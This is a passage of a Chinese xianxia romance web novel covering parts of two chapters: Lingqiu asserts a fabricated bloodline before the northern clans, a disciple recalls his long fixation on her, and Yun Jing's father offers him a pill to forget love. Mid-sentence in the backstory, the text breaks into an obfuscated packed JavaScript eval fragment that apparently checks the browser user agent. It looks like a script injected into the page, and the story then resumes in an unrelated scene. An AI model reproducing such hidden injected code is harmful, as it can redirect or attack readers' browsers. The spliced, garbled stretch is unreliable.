云靖道:“魔族凶险,已经屠了闻人氏和宋氏两个氏族,恐怖如斯。你重伤未愈,不能冒险。” 灵秋笑:“闻人氏和宋氏被灭哪里恐怖?我高兴还来不及。” 话音未落,云靖回身一把捂住她的嘴,蹙眉道:“这种话千万不能再说。” “我又不是傻子。”灵秋扒开他的手,“我只在你跟前说一说罢了。而且,就算凶险,不是还有你吗?怎么,难道你打不过魔族,害怕了?” “我怕?” 不知她说的哪句话取悦了他,云靖原本紧紧皱着的眉一下散开,低头看着她笑:“我怎么会怕魔族?你若真想下去看看,我随你去就是。” “真的?”灵秋问他。 “比真金还真。” “可我伤还未好,御不了剑,怎么办?” 云靖挑眉:“我御凝霜带你就是。” “好啊!”灵秋大喜,“我们现在就走!” 42.血藏天命假亦作真(6) 作为跟随北方世家子弟进入内门的伴读,祁素商已经有很多年没见过魔族的气息了。 此刻,他站在被业火烧得惨不忍睹废墟面前,感受着热浪裹挟了残余的魔气朝自己迎面扑来,仍不忘眼疾手快地拉住身边险些因腿软而栽倒下去的世家公子。 北方十七世家一向同气连枝,或许是物伤其类,眼下,这些平日里趾高气昂的公子小姐面对眼前这座焦黑的庞然大物,眼中纷纷显露出一派迷茫的惶恐。 接到师尊手令的时候,祁素商还有些不可置信。毕竟按照平时,这种稍有风险的任务绝不会落在这些世家子弟的脑袋上。 太霄辰宫对待这些人好比光鲜却无用的装饰物,一向恨不能束之高阁,敬而远之。 这样一来能将危险有效隔绝,不必与北方世家时常掰扯,二来断绝了这些世家子弟们建功立业的途径,确保他们接触不到太霄辰宫的核心。 一开始,祁素商觉得大概是因为真的事出紧急,才会让他们深夜前往。然而等真的到了阳华境内,听说了遭难的是同为北方世家的宋氏和闻人氏,他才反应过来派遣世家子弟前往现场的真实用意。 至少见到自己人,北方世家能多少安分一些。 只不过这些世家子弟着实中看不中用,生于妖魔肆虐的北地,却比他一个从小长在南边的修士还不如,一个个吓破了胆,简直像从没见过魔族一般。 业火已被扑灭,不能再等,必须立刻进去搜寻。有幸存者最好,没有的话,至少也要找到遗骨,才能给天下之人以交代。 祁素商稍稍定了定神,干脆利落地将众人分了组,挨个分配了搜查区域。 一行人中他入门时间最早,是师兄。进了太霄辰宫,门规严格、上下分明,即便身世有高低,师兄的命令也颇有几分重量,何况以神尊为首的诸位前辈正在赶回阳华境的路上,众世家子弟虽然嘴上抱怨,行动迟疑,却也挨个缓慢挪动步子,不情不愿地往灼热的废墟里去了。 犯下这桩案子的魔族修为不低。业火几乎将前后两座院子夷为平地,灰烬之中,连人骨上遗留下来的伤口都看不分明,满眼所见只是魔气。 祁素商带人在废墟中穿梭,除了残破的尸骨外,什么也没找到。 远处偶有白光一闪,他立即快步上前,只见焦灰覆盖之下,宝剑碎片晶莹剔透,赫然铺了满地。 不仅杀人放火,连法器也不放过,手段之狠绝简直令人咂舌。 祁素商带人将宝剑碎片收集起来,待神尊徐悟带着众前辈匆匆赶到,他便将这废墟之中唯一辨得出原貌的东西交到他手上。 徐悟身后,北方世家林立,祁素商暗自数了数,一共只有十五位。 闻人氏尽折于魔族之手,宋氏则只余两位家主幸存,如今因悲伤过度在别处休整。 这十五位世家家主神情不虞,面色个个黑得能滴水。 “带了这么多人,就找出这么一件东西来?这就是太霄辰宫给我们的交代吗!” 不知是哪位家主率先发难,紧跟着,身后传来另一道威严的声音。 “先是秘境当众发现魔族踪迹,转眼间连阳华境都遭魔族侵袭。出了这么大的事,亏得太霄辰宫以除魔卫道自居,我看此事,你们难辞其咎!” “神尊今日若不给天下人一个交代,太霄辰宫日后恐怕再难服众!” 质疑声接二连三响起,字字句句说的是眼前之事,却也不止是眼前之事。 神尊身侧,几位长老出声安抚,表示一定会彻查此事,给天下人一个交代,却很快又被世家的门人用言语顶撞回来。 众人七嘴八舌,几位长老一时间焦头烂额。 南方门派的人站在两拨人中间,想出言说些什么,却找不到下口的理由。毕竟眼下受损的是两个北方氏族,太霄辰宫正受质疑,不开口还好,一旦开口,恐怕就要被扣上一顶偏袒的帽子。 明眼人都看得出,寻求真相是一回事,借此天赐良机打压太霄辰宫又是另一回事。 北方氏族的确团结不假,可要论起人走茶凉、唇亡齿寒,世上恐怕再难有人能出其右。 来的路上早就商量好了对策,是故此刻,以银霜楼为代表的南方门派一言不发,只静静旁观着北方氏族掀起暴动。 很多时候不说话反而是最有力的支持。 只不过如此一来却委屈了祁素商。 北方氏族指责太霄辰宫之人尸位素餐,抬眼一看,在场站着却的清一色是自家人。场面一时有些尴尬,于是众人怒火顺理成章,全无保留地倾泻到了祁素商这位唯一的生面孔身上。 一位北方氏族的子弟指着他大骂:“太霄辰宫中尽是此等废物,我看这阳华仙会实在没有再办下去的必要了!” 祁素商低垂下脑袋不敢回话,任由对方的唾沫星子落雨般喷溅到雪白的衣袍上。 自打入太霄辰宫的第一日起,他便告诫自己,受委屈是常有的事,不必放在心上。 祁素商原本打算默默忍受。 他听见人群中取消阳华仙会的声音越来越高,然后——骤然间,头顶那对着他狂喷的唾沫星子停下了。 少女桀骜的声音传来,清凌凌的,带着夜露尚且湿润的气息:“我当是谁在满口胡言,原来又是你们这些自以为血统高贵的氏族子弟。” 祁素商抬头一看,那原本站在他身边的世家弟子早已被一股强力击得连退数步。 远处的少女手持一把银刀,缓步走来,眉宇之间尽是不屑。 即便隔得很远,祁素商也能清晰瞧见她手腕上流动的符文。干涸的血迹之下,是堪称触目惊心的伤口,或许正因如此,少女虽然拿刀,却并未发力——真正动手的是她身侧黑衣锦袍的俊美少年。 这二人从一众北方世家中穿过,目不斜视,如入无人之境。 比回忆更先叫出她名字的,是愤怒的北方修士。 “凌秋!”被击退的世家子弟捂着胸口,咬牙切齿道:“你又想做什么!” 凌秋? 祁素商不可置信地看着眼前少女。 记忆中的脸与现实缓慢重叠。一瞬间,山岳崩陷,祁素商眼前竟然变成模糊的一片。 如果你长大,会是什么模样? 原来真的看到你长大,我会忍不住落泪。 能再见你,我多幸运。 他深吸一口气,正想上前同她搭话,身侧的锦袍少年却蓦地一闪身,挡住了他的视线,不动声色地朝他投来一瞥,警告意味明显。 “我不同意取消阳华仙会。不仅如此,我认为,还应该增加本次仙会的入选名额。” 扑上来的北方修士被云靖横剑拦住,压制得死死的。灵秋走到徐悟跟前,先拜谢过他的救命之恩。 两人对上眼神,徐悟一愣,随即点了点头,灵秋即向众人言简意赅道:“今日之祸,根在魔族,与太霄辰宫无关。发生了这样的事,我们更应该选出更多修为高强的后辈,前往北地讨伐魔族,让他们为今日之事付出代价,而不是在这里浪费时间内讧。” 有家主当即嗤道:“一介黄口小儿,你有什么资格当着诸多前辈的面开口说话?” 灵秋道:“江底秘境是我亲历,至于前辈,今日这里最德高望重之人当属神尊,你们这些所谓后辈不也当着神尊的面,叫嚣得很起劲吗?” “太霄辰宫办事不力,致使魔族趁虚而入,伤我北方两族,自然应当给个交代。要我说,就应该将太霄辰宫内尸位素餐的废物通通清查一番,当着众人之面就地处决,以儆效尤,向天下人表明你我修道者抗击魔族的决心!” “北方世家灭了两个就要肃清太霄辰宫?”灵秋看向说话的世家子弟,“那么数百年前被你们这些北方氏族剿灭蚕食的十世家若还有后人在世,岂不要将在座诸位杀尽,才能一雪当年之恨?” “十世家早已覆灭,与今日之事有何关联?”世家家主一挥衣袖,怒道:“你一个小辈有什么资格同我们在这儿议论十世家之事!” “聂苏后人,天命血脉。”灵秋举起受伤的手,沉声道:“我当然有资格向你北方十七族索命!” 来的路上她好奇自己的血脉是如何在徐悟面前自圆其说的,云靖便将来龙去脉告诉给了她。 虽然不知道逍遥散人为何替自己无中生有、编造谎言,灵秋却在见到骚乱的瞬间心生一计。 她有所见识,徐悟实力恐怖如斯,断不能让他对自己疑心半点。最好的方式就是不管三七二十一,先紧紧抱住太霄辰宫的大腿。 聂苏后人这个身份正能派上用场。 果然,在听到她自爆身份后,整个北方氏族骚乱的声音尽数沉寂。 众人窃窃私语,世家家主不可置信道:“你怎么可能是聂苏后人?!天命血脉早已绝迹!” 恰在此时,一直沉默的南方门派终于发声。 段若霜道:“若凌姑娘并非天命血脉,又怎能以血作阵,救回已被蛊虫寄生的修士同僚?” 她看向人群:“当日江底情景想必诸位都还记得,虽然救下的弟子多为南方门派中人,亦不乏世家门人,甚至就连闻人氏的大小姐也在其中。” 灵秋道:“我的身份自有神尊为我作证。当年十世家受北方十七族连手诛杀,以至凋敝,可最终灭我聂苏两族的是魔族,这笔账,我一向算在魔族头上。倘若今日诸位一致认为是太霄辰宫致使闻人氏与宋氏受难,如此强盗逻辑,是否我们之间这笔陈年旧账也该翻出来重新算一算?” 气氛一时紧绷,她微微一笑:“说到底,魔族才是我们最应该讨伐的敌人。诸位若能齐心除魔,那么昔日恩怨也可尽数揭过了。” 诸位家主一片沉默,面面相觑,谁也不愿先开口。 一场必胜局,顷刻便成对擂之势。 他们可以借闻人氏和宋氏拿捏太霄辰宫,太霄辰宫也可以借十世家之势反过来讨伐他们。尤其徐悟还与南宫世家有旧。 可就这么化干戈为玉帛,又实在咽不下这口气。 谁都没有说话,人群中却突然传来一声拍手脆响。 “说得不错!魔族才是我们共同的敌人!” 众人惊愕不已,纷纷转头去看是哪个缺心眼的小辈。 薛成昭被无数双眼睛盯着,有些心虚地摸了摸脑袋,随即又像想到什么般挺起胸膛,向着旁边陌生的弟子,据理力争道:“看什么?我又没说错!闻人氏是我家表亲,闻人叔父为人一向正直,他若在世,也定不希望看到我们内讧。” “就是!”这边,几乎被人群完全淹没,只剩个脑袋的游观青终于挣脱旁边苏韫珩的束缚,紧跟着附和,“凌姑娘说得没错,眼下最重要的是抵御魔族才对。” 她刚说完,身侧的苏韫珩便气不过,狠狠捅了她一肘子。 灵秋顺势看过去,好巧不巧,两人正对上目光。 苏韫珩当即有些窘迫地低下头,在游观青蹙眉的注视下,不咸不淡地说出一句:“还是赶紧追查魔族的踪迹吧。” 至此,北方氏族中再无人说话。 倒是天边突然划过一道剑光,紧跟着,几位仙士带着云海川降落至人前。 “禀神尊,在江底秘境中发现了极微弱的魔气。几乎可以肯定,有魔潜伏阳华境外多时,恐怕还未能逃远。” 一时间,众人脸上皆露出凝重的神情。 徐悟大手一挥,迅速下放指示,请在场众人返回各自院落,闭门落锁,小心戒备。 生死当前,一场闹剧不攻自破。 灵秋眼见人群散了,掂了掂手里的召雪刀,正想告别云靖,未料旁边一个长相英俊的仙士趁云靖不注意,一个箭步冲了上来。 “凌秋!”祁素商激动道:“你还记得我吗?” “我应该记得你吗?”灵秋看着眼前这张好看的脸,有些不解。 “是我啊,祁素商!我们一起打过擂台,你赢了我二十一次。” 灵秋摇头,看在他是太霄辰宫弟子的份上,耐着性子道:“我赢过的人太多了。” “那你记不记得,有一回我误闯胥阳山,在枫林,是你把我捡回去的?” 祁素商盯着她,眼睛亮亮的,像是迫切希望她能记起自己。 “枫林?”灵秋努力回想一阵,突然灵光一闪,“原来是你啊!” 那个长得很好看的废物! 她上下打量眼前的青年:“没想到你居然是太霄辰宫的弟子,还真是厉害。” 祁素商有些不好意思地摆了摆手。 “咳咳——” 恰在此时,一旁的云靖抬起手,轻轻咳嗽了两声。 “我只是运气好而已。”祁素商道:“我在太霄辰宫也听到很多关于你的事,这次你一定能入选内门。” “自然。”灵秋想到方才,忍不住道:“你在太霄辰宫过得还成吧?那些世家子弟最烦人了,你千万别对他们客气,该出手时就出手,否则谁都敢来欺负你。” “嗯!”祁素商重重点头,“放心吧,我知道了。” 灵秋道:“我也只是看你长……与我投缘才跟你说这些。” “咳咳咳咳——” 身边少年又咳嗽起来,这一回,灵秋和祁素商齐齐望向他。 祁素商道:“还未请教这位公子的姓名?” “我……” “不用管他。” 云靖正想自报家门,灵秋却打断他的话,对祁素商道:“他只是我的仆人而已。” “噢,原来是这样。”祁素商笑,“难怪这位公子时时护在你身侧,很是尽心呢。” 灵秋点点头,丝毫没注意到云靖发青的脸色,以及身后银霜楼众人瞪圆了的眼睛。 她还对祁素商郑重道:“他很好的。” 远处有人招手唤“师兄”,祁素商只得匆匆向灵秋告别:“日后待你到了太霄辰宫,记得一定要来找我!” “好啊。” 灵秋朝他挥挥手,心想今晚不仅抱上了徐悟的大腿,还意外结识了太霄辰宫的弟子,可谓收获颇丰了。 心情美妙,她把召雪刀收进怀里,向云靖挥挥手:“我就先走了,回见啊。”说罢,迈着轻快的步子,哼着小曲儿往西南方走去。 怀里的召雪刀是他担心她受伤,好说歹说硬塞给她的,如今在月下折射出冷淡的银光,在夜色中正好照明。 灵秋走出几步,觉得身边空落落的,忍不住转头一瞧,奇怪的是,云靖居然没有坚持要送她。 百步远的地方,云靖正俯身捡起地上的什么东西。 或许他累了? 灵秋觉得不对劲,但她懒得去深究为什么,只想早点回到逍遥派,倒头大睡。 - 祁素商认识灵秋前,已经从许多人的嘴里听过她的名字。 他们都说,她是百年难得一见的剑道天才。 好巧,祁素商想,我也是。 他盼着在擂台上与灵秋一决高下,这种欲望随着手中宝剑的起落一日强过一日,终于在又一次击败门中长老后达到顶峰。 祁素商飞似的跑回房中,从雕花的床头夹层中取出一册书。 那是一本札记,他翻开,薄薄的纸面上,字字句句记录着有关那个逍遥派天才少女的信息,从她的铁剑到惯用的身法,从她手下败将的名单到她参加的仙门大比,方方面面,无不详尽,都是他几年以来煞费苦心,从各处搜集来的情报。 与灵剑门相比,逍遥派微不足道,灵秋和他站到同一个擂台上前需要过五关斩六将,通过层层选拔。 祁素商知道,凭她的实力,这一天终究会来,可那时,他被体内蛰伏已久的战意折磨得几乎难以自控。 他将那本薄薄的札记翻来覆去地捏在手里看了整夜,翌日一早便提了剑,直奔胥阳山而去。 他要与这个传说中与他难分上下的人战一场。 启明星还未升起,月亮潜藏在云层深处,整座胥阳山在浑浊的夜色中散出柔质的冷光,属于逍遥派的那方低矮屋楼出现在视野中。 祁素商听到自己砰砰作响的心跳,热血沸腾,战意如潮。 似有一股雷霆之力即将爆发,他带着必胜的信念穿过红霞般燃烧的枫林,然后被一股来路不明的力量猛击落地。 祁素商自满地落叶中狼狈地爬起,四下寂寂无声,空无一人,头顶枫叶层层叠叠、如火如荼。红橙交替,宛若天然的符篆印刻,挺拔粗壮的枫树伫立在四周,枝干交叠延伸,似某种守护。 他在成堆的枫叶中找到自己的剑,惊讶地发现这柄由万年玄冰所铸的绝世宝剑竟然就这么轻易地从中间裂开,断成了两截,更要命的是,他从空中摔下来的时候不小心扭伤了脚,此刻脚踝疼得厉害。 祁素商在心底暗骂一句倒霉,杵着断剑一瘸一拐地往枫林外走,来回三十七圈,发现自己第三十八次站在同一株枫树底下。 天几乎快亮了,他又累又渴,恨恨看了眼手上的断剑,在心里第三十九次问候锻剑之人全家,越想越气,将这没用的东西用力往远处一扔,眼前虚影重重,恍惚中只见远处悠悠走来一道身影,两眼一闭,不省人事地栽倒下去。 喧嚷间,好像有谁刻意拿了毛刷顺着他的脸颊轻扫,祁素商伸手一抓,不耐烦地睁开眼睛,毫无防备地跌入一汪水色。 秋意盈盈,少女眼眸如镜,对上他的目光,如剑锋般明利,闪烁着漂亮的光芒,直摄人心魄。 微风簌簌,满院桂树轻轻晃动,落下一场花雨。 一瞬间,周围的喧嚣尽数远去,祁素商呆呆地看着眼前人,直到她轻轻抽动他手中的发丝,那缕被误认为成毛刷的黑发自他指尖滑过,在炙热的皮肤上留下一道冰凉的触感,比世间最好的锦缎还要软。 他想说话,动了动嘴,却发不出半个音节,喉咙像被火烧过一般干涩。 少女抚上他的额头,她的手比发丝更凉,激得他一阵轻颤。 她还未来得及说什么,远处传来阵阵急促的脚步声,下一秒,灵剑门长老的身影便出现在视线里。 祁素商被灵剑门的人接回,一行人已高高上了天,他艰难地偏过脑袋,偶一回望,只见缥缈的云层外,那姑娘黑发白裙立在原地,似梦似幻,如松如竹。 这就是他和灵秋的初遇,上天没有顺着他的莽撞许他一场酣畅淋漓的天人相战,而是在彼此刀剑相接前毫无道理地赠他一瞥惊鸿。 他烧得太厉害,以至于很长一段日子里,连梦中都萦绕着浓郁的桂花香。 自那日起,祁素商成了胥阳山的常客。以防万一,他随身带着许多柄剑,不敢靠得太近,只敢远远观察着逍遥派内的风吹草动。 有时候,灵秋带人练剑,那柄沉重的凡剑在她手中婉若游龙,轻巧地舞动。 有时候,她和师姐一起下山到集市上替人算卦画符,鲜红的符纸被风吹起,在她面上映出桃花似的淡粉。 有时候,她一个人在书坊借来厚厚的《伏魔经》,坐在茶摊上埋头苦读,不时因为其中晦涩的语句蹙眉沉思,咬着笔头在纸上煞有其事地写写画画。 祁素商跟在她身后,一天天观察过去,秋去冬来,薄雪铺了满地,床头的札记一页覆过一页。 他是打定了主意要让她成为自己的手下败将。 终于,当他将手边的《伏魔经》读到三分之二处时,灵秋站到了他面前。 不幸的是,他成了她的手下败将,幸运的是,她似乎并不记得他。 祁素商暗自下定决心,下一场定要反败为胜,再不济也要同她打成平手,然后堂堂正正地走到她面前,主动表明身份,借答谢她的名义与之结交亲近。 他未料到,这决心一下便是二十一场对弈。 第二十一次败在灵秋手下后,祁素商再也坐不住了,他鼓起勇气,主动向她递出结交的橄榄枝,却被她毫不留情地忽略拒绝。 她不记得胥阳山上被她救下的灵剑门少主,更不在乎擂台上的手下败将。 祁素商真的很生气,但更多的是一种几乎从未体会过的挫败感,在心头累积,堆叠。 他仿佛又回到了那段胥阳山下,只能远远看着她的日子,煎熬至极。 这份难耐的情绪持续了好几个月,厚厚的札记又平添几页幽怨心事,直到门中来信通知他不必再战。第二年,他便同北方的世家子弟一起入了太霄辰宫内门。 同一年,灵秋参与水境试炼,击杀千年蛟,震惊世人。从那之后从多如牛毛的百年天才中一跃而出,成了人人交口称赞的古今第一天资。 他和她不是难分上下,而是从始至终泾渭分明。 太霄辰宫招收了一批世家子弟,需要有人跟在他们身边。说好听了是协助伴读,说难听点就是时刻监视。 这样的人自然不受欢迎。 祁素商明白自己的命运,从进入太霄辰宫的第一天起,他便自觉地咽下苦果,蹉跎数载,也在这些眼高于顶的世家子弟面前成为了说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当天晚上,他顶着银霜楼众人复杂的目光,将札记揣了回去,摊开在桌面上,将其中记录灵秋日常的语段整段誊抄下来,然后颇为嫌弃地将整本札记一甩甩出千里远。 “凭你也敢觊觎她?做梦!” 直到札记化作一个小点彻底消失在夜色中,云靖才如释重负地拍拍手。 他一转头,正巧对上于风的大脸。 于风神色复杂地看着自家师弟,道:“师父找你。” 云靖有些莫名。 从小到大,父亲一贯很少找他单独叙话。 父子俩相见,相对无言,云正沉默良久,缓步上前,将一枚淡金色的丹药放到他面前。 谁能想到,堂堂的银霜楼少楼主竟然在外面给人家卖身为奴!? 还是上不了台面的那种! 今夜云正在一旁目睹灵秋与祁素商聊天,两眼一抹黑,简直快要气晕过去。 想到幼时云靖在香满楼前苦等灵秋六个月,冰雹浇头,砸得他满脑袋包;又想到少时为她随口一句,云靖头也不回出走万里,拜师太虚宫。 曾经为她苦等,等了五年又五年,如今为她损耗修为,失了五年又五年,眼下,连清白和名节都一并给了出去。 凡入无情道者,此生必遇一情劫。 凌秋就是云靖的劫。 云正本想顺其自然,却未料他陷得越来越深,从幼时起便没有过消停。 看他如今模样,大有一去不回头之势。 这可如何得了? 云正思来想去,寻得一堪称“作弊”的法子。 五百年前,他身边也曾有一位亲近之人深受“情”之一字的折磨,眼前这金色丹药便是他历经千辛万苦,寻来的解决之道。 云正递上丹药,对云靖道:“此乃为父师弟青阳穷尽毕生功力所炼太上忘情丹,只需一粒便可忘却前尘痴念,从此心无旁骛,专心修炼。” 这样的丹药当年青阳师弟共炼出两粒,一粒他弃剑下山时随身携带,一粒留给了云正和段若霜。 青阳说过:“情之一字自古以来伤人最狠。” 他未曾料到,云正和段若霜的姻缘顺遂,并没有机会用上太上忘情,这药如今落到云靖手上,可谓命运使然。 云正将忘情丹递给云靖,他却不接。 云正恨铁不成钢道:“那灵秋对你何曾有过半点情谊?你将召雪刀给了她,难道还看不出这点?若你二人果真心意相通,我又怎会横加阻拦?趁早回头,将此劫渡去才是正事!” 召雪凝霜本是一对,刀剑相合有断天撼地之力,共振同频,虹光乍现。 剑在他手上翩若游龙,刀在她手中却从没有过该有的反应。 他们的心意从未相通过。 他一直尽力忽略这点,却被父亲一语点破。 云靖低头看着那枚丹药,喉头动了动,眼神却一点点暗下去。 他沉默良久,最终伸手将丹药拾起,捧在掌心。 “她并非对我全然无意,只是尚且懵懂,不知世间情为何物罢了。这药我不会服,但我收下……若有朝一日她斥我离去,我自会吃了它,从此忘却前尘。” 云靖的声音低哑,却格外清晰。 门外传来淅淅沥沥的声音,风吹开窗子,是一场夜雨潺潺。 云正看着他,须臾,终于叹出一口气。 “当断则断。还有,既然你想与她谈情,就莫要自降身份。”云正一甩袖子,斥道:“像什么样子!” “是。儿子知错。” 云靖向他行礼,掌心轻轻颤抖,那颗太上忘情丹在瓶子里摇摇晃晃,发出轻响,如同一颗不安分的雨珠。 绵绵细雨淅沥着下成瓢泼大雨,灵秋快步小跑进院子,理了理被沾湿的衣裙,忍不住皱眉,将怀里的召雪刀随手一扔,不愿再看。 江芙一见她,立即上前,面露惊讶之色:“为何不留在云霄阁?云靖呢?我不是让他守着你吗?” 不提还好,一提云靖,灵秋就气不打一出来。 只是想到师姐本来就不喜欢他,她还是决定闭口不言,只解释道:“我既然醒了就想回门派休养,而且如今出了这么大的事,太霄辰宫都乱成一锅粥了,谁还有心思管我?说来说去,还是自家门派最好。” “也是。”江芙点点头,施法替她驱散了身上的水汽。 灵秋道:“对了师姐,师父在哪儿?我想见一见他。” “咳咳,一回来就找为师,看来你是在北方世家面前耍够威风了?” 身后传来一阵轻咳,灵秋转过头去,正是逍遥散人。 见他一身衣袍濡湿,一看就是刚从大雨中归来。灵秋撇嘴道:“原来师父早就跟在我身后了。” 想到云靖所说,是逍遥散人替她做假身份,灵秋内心疑窦重重,心道今晚定是要将此事好好分辨一番。 她这位师父虽然连剑也拿不起,内功心法却一贯上乘。所谓真人不露象罢了。 逍遥散人显然明白她的来意,三人进了屋子,当着江芙的面,他也丝毫没有遮掩的意思,大大方方道:“聂苏后人的身份的确是造假没错。不仅我一个,逍遥派上下都会为你遮掩。” “为什么?”灵秋不解,“师父明知我与聂苏两家全无关系。” 逍遥散人静静看着她。 有那么一个瞬间,灵秋几乎有种一闪而过的错觉,以为他看透了自己的伪装。 然而逍遥散人紧接着咂咂嘴,往后一仰,摆出一个吊儿郎当的姿势,问出一个似是而非的问题:“你如何敢肯定自己聂苏两家无关?” 他道:“你身负天命血脉,一定出自十世家,聂家如何?苏家又如何?十世家俱为一体,分那么清楚做什么?重要的从来不是身份,而是血脉。只要有天命血脉在身,天下人的眼睛就都紧紧黏在你身上。聂苏后人的身份不过是生死关头的权宜之计罢!” “师傅说得没错。”江芙道:“天命血脉重出江湖已经是大事,你是十世家后人,不必计较到底归属哪家,如今这个身份是恰如其分。” 灵秋点点头。 没想到师父和师姐的想法与自己一早找好的退路不谋而合。 她从逍遥散人处走出,空山雨后,满目新绿,心底最大的石头正要放下,手却被人猛地拽住。 “师姐!你快跑吧!” 兰翘抓着她的手,一路将她带到小院角落一处僻静的屋子,慌张地环顾一圈四周。 “师姐,快走吧,离开阳华境,跑得越远越好!” 小师妹脸色煞白,双手不住地打着颤,连声音都在发抖。 夜深露重,山门外的风卷着树叶呜咽作响,拍打着窗户。 灵秋怔了怔,还未来得及开口,兰翘已将屋门关上,转身从角落里抱出一个包袱,狠狠塞进她怀里。 “师姐,东西都在里面,灵符我替你画了许多,你现在就走,从小路,不会被太霄辰宫的人发现的!” 她的声音几近哽咽,眼眶通红。 电光石火间,灵秋眼神一动。 自从被闻人双双推入万丈崖后,兰翘便染上梦魇之症,常常吵着要回逍遥派。 当日万丈崖底,宿妄的话犹在耳畔,灵秋几乎一下意识到了什么。 她蹲下去,安抚般拍拍兰翘的背,轻声道:“阿翘还不知道吧,我如今是神尊认定的聂苏后人,是天命血脉。这境中发生的一切都与我无关,与逍遥派无关,决不会有事,阿翘放心。” 她牵起兰翘的手:“神尊派人追查作乱的魔族,发现此魔早在阳华境外潜伏多时,如今恐怕还未走远,我们可千万不能乱跑。” 兰翘怔了一瞬,看着她的神情不由得迟疑了。 她跟着灵秋往屋外走,片刻,抬首问道:“师姐还会进太霄辰宫吗?” 灵秋伸手替她理了理肩上的发丝,语气温柔,像哄小孩:“放心,我心里有数。你只管安安稳稳地睡一晚,不管外头发生什么事,师姐保证,很快就可以回逍遥派了。” “真的?” 兰翘还是有些迟疑。 “真的。” 灵秋点头。 她目送兰翘进了屋子。 房门发出咔嗒一声,与之同时,灵秋手上泄力,杀咒顿时在雨后潮湿的空气里化作无形。 她低头看一眼怀中包裹。 眼前夜色正浓,想必太霄辰宫的人还循着那缕残余的魔气在阳华境外四处搜寻。 43.飘摇仙会圣子重迎(1) 搜寻的结果不尽如人意。 整整一夜,成倍的人力耗费下去,能找到的全部也只不过那点可怜的魔气残余。 闻人氏在此难中遭受重创,家族凋敝,远在明州老家的族亲遗老连夜抓破了脑袋,终于从早已弃绝多年的旁支里找出一个能当事的人,连夜令人带着门人弟子赶到了阳华境。 翌日,灵秋站在废墟前,远远瞧着那闻氏的新家主畏缩着身子,跟在仙士身后,往徐悟的住处去。 瓢泼的夜雨冲刷过一切,喧嚣和血腥都被都被洗得干干净净。倒塌的檐角露出破碎的琉璃瓦片,在水色照映下反射出幽幽的青光,仿若一场残梦未醒。 绣鞋踏过残垣,灵秋沿着那晚的轨迹走过废墟。 四周静如坟场,脚下突然塌陷半寸,她低头拨开倒塌碳化的梁木。 雨水尚未干透,泥泞中,一柄羽扇静静躺在地上,光洁如新,丝毫未被业火沾染。 到底是仙宝,与寻常物品不同。 灵秋俯身捡起那把扇子,回头一瞥,只见闻人氏的新家主脚步匆匆,去而复返。 她拍了拍手上的灰,走上前去。 “闻人公子,请等一等。” 闻人氏转头看她,脸上带着谨慎的疑惑:“这位姑娘,请问你找我有什么事吗?” “倒不是什么大事。”灵秋将羽扇递到他跟前,“我在废墟中发现了这柄紫霞玄冰云天无双白羽扇。此物乃是家师赠予闻人氏的赔罪之物,没想到历经烈火,竟能毫发无损。” 她轻轻歪了歪头,语气尽量温和:“虽说这扇子乃本门派之物,我却不敢私藏,特来物归原主。” “原来姑娘是逍遥派的人。”闻人氏恍然道:“当日之事,我也略有耳闻。这扇子本非闻人氏之物,何谈物归原主?姑娘既有缘拾得,自带回逍遥派吧。” 言毕,他向灵秋微微点了点头。 “既然闻人公子这么说,我就不推辞了。”灵秋将白羽扇速速收入袖中,眉眼弯弯,骤然露出笑容:“初次见面,还未请教公子名讳?” 闻人氏拱手道:“在下闻人尤晦。” “尤慧……”灵秋沉吟,“这名字倒很新巧。” “并非什么好名字。”攀谈几句,灵秋言笑晏晏,表现得很和善。闻人尤晦明显放松几分,见她如此感叹,不禁喃喃开口道:“晦者为夜,月之尽也,不得见光。我本是闻人氏旁支遗弃之子,此名也算恰如其分。” “可你如今是闻人氏的新家主了。”灵秋看着他,“你若愿意,可将这晦气的名字改掉,不是么?” “说到底,名字也只是一个称号罢了。人若要认命,自有千万种理由说服自己。” 她向闻人尤晦颔首道:“闻人氏新丧,想必公子还有许多事要忙,我就不打扰了。” 灵秋告别闻人尤晦,往灵剑门去。 这一日,逍遥派来往的人络绎不绝。一开始,灵秋和兰翘提心吊胆,末了却发觉这些人都是登门送礼的。 她在江底秘境救了许多人,各派谢礼自不必说,更多上门的人则是冲着“聂苏后人”的新身份,趋之若鹜地来瞧一瞧传说中重出江湖的天命血脉。 礼单从屋内一路延伸到院子里,堆在地上,摆了一圈又一圈。 师兄师姐们手忙脚乱地整理,眼神一亮又一亮。灵秋挨个扫视一圈,表情却淡淡的。 直到晚些时候,有人抬来三个大箱子,大家伙儿掀开一瞧,险些被闪瞎了眼——再朴素不过的木头箱子里琳琅满目,装着的竟是金光闪闪的银钱珠玉。 是谁送来的? 自然是薛成昭。 灵秋嘴角飞扬,爽快地掏出欠条,当着来人的面撕了个粉碎,还不忘假惺惺地多问一句:“你家公子为何不来?” 那人答道:“公子遵神尊之令,去了云霄阁。” 说来奇怪,为了调查魔族之事,太霄辰宫恨不能将当日江底秘境在场的人拘起来挨个盘问。 薛成昭和云海川自不必说,就连云靖也整日不见踪影。 可偏偏看起来知道最多,最应该盘问的灵秋却清闲得很,收了薛成昭的银子,在废墟上拉着闻人氏的新家主闲谈几句,转头就晃悠到了灵剑门。 远处,几个弟子抱剑坐在树下,眼见她拜别闻人尤晦,闲谈道:“眼下整个阳华境恐怕也就属这逍遥派的凌秋最得意了。” “那是。” 一人昂首道:“你也不看她是什么身份。那可是十世家之后啊,上古的贵女,比当今这些世家门阀不知道高到哪儿去了。我就这么跟你说吧,就连神尊当年也娶了南宫家的小姐,称得上十世家的女婿。” 那人道:“世家间向来亲厚,自古如此。他们都是一家人,也难怪当日水境底下的人都被带走审问,独凌秋一个还能四处走动,如入无人之境。” “可她救了那么多人,连我五师叔也是她救的。”一人道:“她肯定与魔族无关。” “那我问你,你五师叔现在何处?” “在云霄阁。” “这不就对了!”说话的人一挑眉,“你五师叔一样没嫌疑,还不是得进去走个过场。这就叫宁可错杀,不能放过。” “……” “这神尊是不是有点太偏心了。虽说凌秋是十世家之后不假,但就连大师兄和九师兄都被带走了,怎么她还能大摇大摆地来找咱们铸剑啊?” 灵剑门内,几个弟子缩在角落,盯着远处的少女窃窃私语。 